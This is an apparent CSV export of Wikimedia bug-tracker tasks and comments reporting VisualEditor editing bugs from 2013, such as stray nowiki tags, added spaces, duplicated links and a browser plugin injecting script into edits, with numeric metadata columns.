+https://de.wikipedia.org/w/index.php?title=Christian_Delius&action=edit",,,1374539843,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-ax4pkg2fcq3uwnfjn5h5,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,1,0,0,0,0,0,0,0
+53103,VisualEditor: Auto-external links to image files which are broken (404/etc.) display as the filename and cannot be edited,"When a raw URL with no markup (e.g. http://www.sucs.org/~cmckenna/photos/quizes/tq2012/July/Jun03key.png ) ends in .png, .jpg, .svg or .gif [capitalisation variants not tested] but does not work (e.g. it gives a 404 error) then only the filename portion of the URL (Jun03key.png in this example) is displayed in the visual editor. Visual editor cannot then edit this URL to correct it, meaning that typos, etc cannot be corrected without using the source editor.
+
+Links to other image formats (e.g. tif), html pages, .txt files and pdf files, and all urls enclosed in single bracket markup work as expected and are editable in the Visual editor. See https://en.wikipedia.org/w/index.php?title=User:Thryduulf/sandbox2&oldid=563642435 for my sandbox testing.
+
+This is not unlikely related to bug 51092 in some way.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1373450100,1373480408.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-rzacfnoggbzshwb2qnc6,task_description,resolved,True,c1,3,False,False,True,1,,1,0,0,1,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,1,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+253451,VisualEditor: Auto-external links to image files which are broken (404/etc.) display as the filename and cannot be edited,"This will be entirely fixed by bug 51092 being fixed (well, theoretically if a site administrator wants to have VE but also $wgAllowExternalImages set true, it'd be a problem, but we'll have fixed this issue with a forthcoming re-write of image handling anyway before we've shipped VE as stable).
+
+Marking as a duplicate.
+
+*** This bug has been marked as a duplicate of bug 51092 ***",,,1373480408,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rzacfnoggbzshwb2qnc6,task_subcomment,,True,c1,3,True,,,1,,0,0,1,1,0,1,1,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+53094,Editing adds JavaScript,"I just attempted to make https://www.mediawiki.org/w/index.php?title=Lua_scripting&diff=728272&oldid=728271 with VisualEditor and got https://www.mediawiki.org/w/index.php?title=Lua_scripting&diff=728270&oldid=664107 instead.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1373430900,1373724208.0,PHID-USER-kc6qx3zohjybu3nzffu3,False,,False,PHID-TASK-cj43kd2u4kzkuq6rlhnu,task_description,invalid,True,c1,3,False,False,True,1,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+252900,Editing adds JavaScript,"(In reply to comment #2)
+> How would the addition be the plugin's fault? It isn't added in the normal
+> edit
+> box, or in any other boxes at that.
+
+Your browser's plug-in is inserting HTML into contentEditable <div>s. Some example complaints from around the Web:
+
+* http://wordpress.org/support/topic/appears-after-url-and-unknown-script-inserted
+* http://www.joomlaportal.de/joomla-2-5-allgemeine-fragen/291114-automatische-scriptinstallation-foxlingojs.html
+* http://www.bluestonedesign.de/faq/20-sonstige-fragen/376-foxlingojs-script-in-joomla-und-wordpress-beitraegen
+* http://doc.eklablog.com/blog-de-texte-bizarre-topic48844
+* http://forum.wpde.org/allgemeines/108364-foxlingo-script-evtl-schadsoftware-wer-kennt-es.html
+* https://drupal.org/node/1871476
+
+There is nothing sane that VisualEditor can do to stop your broken browser, except to ask you here to stop using it. (Though I'd recommend use of a global AbuseFilter to prevent this and similar corruptions of wikis' content.)
+
+Reclosing.",,,1373724208,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cj43kd2u4kzkuq6rlhnu,task_subcomment,,True,c1,3,True,,,1,,1,0,0,0,1,1,1,0,1,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,1,1,1,0,1,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+252894,Editing adds JavaScript,"How would the addition be the plugin's fault? It isn't added in the normal edit box, or in any other boxes at that.",,,1373693982,,PHID-USER-kc6qx3zohjybu3nzffu3,False,,,PHID-TASK-cj43kd2u4kzkuq6rlhnu,task_subcomment,,True,c1,3,False,,,1,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,0
+252886,Editing adds JavaScript,"From a quick Google, this is a faulty browser plugin of some kind, FoxLingoJs.",,,1373521024,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cj43kd2u4kzkuq6rlhnu,task_subcomment,,True,c1,3,True,,,1,,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+53077,"VisualEditor: Link inspector blown to pieces when pressing return after clicking ""Insert link"" (before the inspector has finishes opening)","Screenshot of ripped-apart link inspector
+
+I can consistently reproduce the following:
+
+* Select an unlinked word
+* Create the insert link button (with intention to turn the word into a link)
+* If you hit Return immediately after (before it has finished opening) it will replace the focussed node with a new line. Though that is a separate bug and arguably an invalid use case (why would one be pressing Return at this point, the user hasn't even seen the options yet. It interpreting it as intend to replace the node isn't entirely unreasable, but that's a separate bug - bug 51075).
+* At this point the link inspector dom has blown up. Part of it is gone, and the other part is left half-way across the screen at a seemingly arbitrary offset (see attachment).
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11776}",Needs Triage,90.0,1373411220,1373411601.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-j4lztgmjyrotthez4ft5,task_description,resolved,True,c1,3,True,False,True,1,,0,0,1,1,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,1,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+252015,"VisualEditor: Link inspector blown to pieces when pressing return after clicking ""Insert link"" (before the inspector has finishes opening)","
+
+*** This bug has been marked as a duplicate of bug 49941 ***",,,1373411601,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-j4lztgmjyrotthez4ft5,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+53072,Adding a {{cn}} template causes VisualEditor to silently add <nowiki>..</nowiki> to the edited paragraph,"**Author:** `FT2.wiki`
+
+**Description:**
+Tried to add {{cn}} to an article, visual editor silently added NOWIKI../NOWIKI tags on saving, which had to be manually removed.
+
+http://en.wikipedia.org/w/index.php?title=XFS&diff=563579994&oldid=562618140
+
+Unclear if this is the same or different as other <nowiki> issues on bugzilla
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1373406240,1373409131.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-eedu2jxaz76eztsst6ep,task_description,invalid,True,c1,3,False,False,True,1,,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,1
+251678,Adding a {{cn}} template causes VisualEditor to silently add <nowiki>..</nowiki> to the edited paragraph,"Closing as INVALID (this is not a bug, this is exactly expected behaviour). Please re-open if we have mis-judged.",,,1373409131,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-eedu2jxaz76eztsst6ep,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+251673,Adding a {{cn}} template causes VisualEditor to silently add <nowiki>..</nowiki> to the edited paragraph,"Did you type the text ""{{cn}}"" into the editor directly? In that case this is correct behavior: we did what was needed to make the literal text ""{{cn}}"" appear.
+
+To insert a template in VE you'll need to use the puzzle piece icon in the toolbar. Typing wikitext directly into the editor is deliberately not supported.",,,1373406615,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-eedu2jxaz76eztsst6ep,task_subcomment,,True,c1,3,False,,,1,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0
+53066,VisualEditor: Link input field identifiers in DOM are bogus,"corrupt <class> identifier in DOM for Link
+
+see screenshot
+
+what is this ""class""?
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11753}",Needs Triage,90.0,1373398680,1375221769.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-dhjt3sejejdufp3ya2co,task_description,invalid,True,c1,3,False,False,True,1,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,1
+251306,VisualEditor: Link input field identifiers in DOM are bogus,"It's not corrupt, it's just empty.
+
+jQuery doesn't remove the attribute when removing the last class. In this case, we add the class to make the input ""pending"" and then remove it when the AJAX call is done.
+
+I don't think this is a real problem - if you have code that takes a different path based on whether the class attribute is set, has a non-empty value, or has a value, I suspect the first two cases should just be folded together.",,,1375221769,,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,,PHID-TASK-dhjt3sejejdufp3ya2co,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+53058,VisualEditor: reference editing bringing you to the wrong citation (template problem?),"Reference editing on, for example, https://en.wikipedia.org/wiki/Friedrich_Nietzsche?veaction=edit, sometimes takes you to the wrong citation. I'm not sure what the problem is. My only current theory, as a luddite, is that the difficulties the VE/Parsoid has with references in templates may be responsible for a numbering screwup somehow between read and edit mode.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1373395500,1385381556.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-weyb3zctidhjrppnilwj,task_description,resolved,True,c1,3,False,False,False,1,,0,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+250640,VisualEditor: reference editing bringing you to the wrong citation (template problem?),"Merging this with bug 50474.
+
+*** This bug has been marked as a duplicate of bug 50474 ***",,,1385381556,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-weyb3zctidhjrppnilwj,task_subcomment,,True,c1,3,True,,,21,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+250635,VisualEditor: reference editing bringing you to the wrong citation (template problem?),"The observation: I was trying to make this edit - http://en.wikipedia.org/w/index.php?title=Friedrich_Nietzsche&curid=10671&diff=563544089&oldid=562894275 - Opened article in VE, saw the ""as as"" was in footnote 134 ... couldn't edit there ... went up to reference 134, clicked on it to edit, and it was the wrong reference link. It actually gave me the reference that's numbered 220 (in that version) to edit!",,,1373401725,,PHID-USER-gfaq55vdypjmzz6nl2kn,False,,,PHID-TASK-weyb3zctidhjrppnilwj,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,1,1,0,1,1,0,0,0
+53054,VisualEditor: duplicate links created if parts of the link are differently italicised/bolded,"See https://en.wikipedia.org/w/index.php?title=User:Okeyes_%28WMF%29/sandbox&diff=next&oldid=563541289 for example; It should be [[''death'' metal]].
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1373392500,1394501875.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-2j6ctllml6qqxhzmqlmr,task_description,resolved,True,c1,3,False,False,False,1,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+250416,VisualEditor: duplicate links created if parts of the link are differently italicised/bolded,"Merging with bug 50098.
+
+*** This bug has been marked as a duplicate of bug 50098 ***",,,1394501875,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2j6ctllml6qqxhzmqlmr,task_subcomment,,True,c1,3,True,,,36,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+250413,VisualEditor: duplicate links created if parts of the link are differently italicised/bolded,"With the sole exception of plaint text followed by italic text, it seems that a separate link is created for each part of the link that has a different bold/italic status:
+
+https://en.wikipedia.org/w/index.php?title=User:Thryduulf/sandbox4&diff=574094377&oldid=574094235
+https://en.wikipedia.org/w/index.php?title=User:Thryduulf/sandbox4&diff=574094083&oldid=574093861
+
+To reproduce:
+1. Create or edit any page that has consecutive words that have different italic/bold annotation, i.e. any of
+''one'' two
+'''un''' deaux
+''ein'' '''zwei'''
+'''un''' ''dai''
+'''uno''' due
+
+2. select both words and make the selection a link (internal or external).
+
+Expected behaviour: One link is created, e.g. [[link|''one'' two]]
+Actual behaviour: Two links are created, e.g. [[link|''one''']] [[link|two]]",,,1379885198,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-2j6ctllml6qqxhzmqlmr,task_subcomment,,True,c1,3,False,,,11,,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,0,0,0,1
+250409,VisualEditor: duplicate links created if parts of the link are differently italicised/bolded,"Is this still happening? 
+In my sandbox just now, VE changed [[Ancient Carthage]] to [[Ancient Carthage|''Ancient'' Carthage]] as I would expect.
+
+https://en.wikipedia.org/w/index.php?title=User%3AThryduulf%2Fsandbox2&diff=570143239&oldid=568345382",,,1377447358,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-2j6ctllml6qqxhzmqlmr,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,1,0,0,1
+53048,VisualEditor: The transparent color that shows the template goes up to the previous element instead of the top of the template,"a screenshot with the problem
+
+To reproduce:
+
+1. Go to https://en.wikipedia.org/wiki/Boris_Ponomarev?veaction=edit
+2. Click the template at the bottom of the article.
+
+Observed: The transparent bluish color that shows the template tool (puzzle piece) goes all the way up to the paragraph that precedes the page, even though there's a lot of spacing between them because of the infobox on the side.
+
+Expected: The transparent color must only cover the template itself and not other elements.
+
+See the screenshot.
+
+Tested on Firefox 22.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11723}",Needs Triage,90.0,1373385480,1385381652.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-6uqz7k3i6hhy6r5mf4qh,task_description,resolved,True,c1,3,False,False,False,1,,1,0,0,0,1,1,0,1,1,0,0,1,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,1
+250127,VisualEditor: The transparent color that shows the template goes up to the previous element instead of the top of the template,"This is caused by the phantom starting from the logical position of the content, rather than the rendered position (due to the width being 100%). Merging with bug 50395.
+
+*** This bug has been marked as a duplicate of bug 50395 ***",,,1385381652,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-6uqz7k3i6hhy6r5mf4qh,task_subcomment,,True,c1,3,True,,,21,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+53024,VisualEditor: adding spaces?,"Possibly the most vanilla dirty diff ever, if it is a dirty diff - in https://en.wikipedia.org/w/index.php?title=The_Painted_Bird&diff=563388980&oldid=544897993 the VE has added an extra space (before ""novel"").
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1373365380,1379455266.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-6d6mtcjbaxy3ev26rxls,task_description,resolved,True,c1,3,False,False,True,1,,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,1,0,1,0,0,0,1,0
+249077,VisualEditor: adding spaces?,"This seems to be bug 48570
+
+*** This bug has been marked as a duplicate of bug 48570 ***",,,1379455266,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-6d6mtcjbaxy3ev26rxls,task_subcomment,,True,c1,3,False,,,11,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+249070,VisualEditor: adding spaces?,"It might be worth noting that spaces keep being added each time you edit an article with this bug (some examples here: https://fr.wikipedia.org/wiki/Wikip%C3%A9dia:%C3%89diteurVisuel/Avis#Insertion_d.27une_espace_suppl.C3.A9mentaire_.C3.A0_chaque_.C3.A9dition , it seems related to the colon), and that some of them are not even real whitespaces.",,,1379007082,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-6d6mtcjbaxy3ev26rxls,task_subcomment,,True,c1,3,False,,,10,,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,1,1,1,0,0,0
+249060,VisualEditor: adding spaces?,"Other examples:
+
+In this diff, the second whitespace was intended, but the first one wasn't:
+https://fr.wikipedia.org/w/index.php?diff=94475506
+
+In the subsequent edit, the user tried to remove the space that was inserted by VE, and not only was he not able to remove it, but VE actually added /another/ space:
+https://fr.wikipedia.org/w/index.php?diff=94475570&oldid=94475506
+
+I notice that in these 2 cases, as well as in the case reported in comment 1, there's an adjacent colon. Dunno if it's related.",,,1374254808,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-6d6mtcjbaxy3ev26rxls,task_subcomment,,True,c1,3,False,,,2,,0,0,0,1,1,1,0,0,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,1,1,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0
+249053,VisualEditor: adding spaces?,Talking about spaces: https://en.wikipedia.org/w/index.php?title=Genie_%28feral_child%29&diff=564429158&oldid=564425048,,,1374227956,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-6d6mtcjbaxy3ev26rxls,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0
+249047,VisualEditor: adding spaces?,"Same thing here after ""équipes"": http://fr.wikipedia.org/w/index.php?title=Mafia_%28jeu%29&diff=94892395&oldid=91395852",,,1373626132,,PHID-USER-mapumhlp3gw5qefhvafn,False,,,PHID-TASK-6d6mtcjbaxy3ev26rxls,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0
+53018,"VisualEditor: ""clear formatting"" does not remove links","On enwiki, at least. If you highlight a link, format-clearing does nothing; if you click on the link to the point where the system registers (i.e., the link icon pops up), ditto.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1373361000,1373504485.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-karzxpqg6fmjzovu77r7,task_description,resolved,True,c1,3,False,False,True,1,,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,1,1
+248445,"VisualEditor: ""clear formatting"" does not remove links","Yeah, this is a really irritating regression; merging with the other.
+
+*** This bug has been marked as a duplicate of bug 50461 ***",,,1373504485,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-karzxpqg6fmjzovu77r7,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+248439,"VisualEditor: ""clear formatting"" does not remove links","Yes, the toolbar button (""No"" symbol) gives the impression that it should remove every skerrick of formatting from the text, including links.",,,1373364187,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-karzxpqg6fmjzovu77r7,task_subcomment,,True,c1,3,False,,,1,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,1,0,0,1,1,0,0,1,0,1,0,0,0,0,1,0,0,0
+53017,VisualEditor: Template dialog crushing parameters together and nowiking links,"See https://en.wikipedia.org/w/index.php?title=Vicarious_Visions&diff=563488422&oldid=563388782 and https://en.wikipedia.org/w/index.php?title=Vicarious_Visions&action=edit&oldid=563488422 for how the markup for that appears.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1373359380,1383004078.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-3ngsdaq55c6cqyub75es,task_description,resolved,True,c1,3,False,False,False,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0
+248399,VisualEditor: Template dialog crushing parameters together and nowiking links,"This is now fixed (and has been for some time, I believe). Sorry for the disruption.",,,1383004078,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3ngsdaq55c6cqyub75es,task_subcomment,,True,c1,3,True,,,17,,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
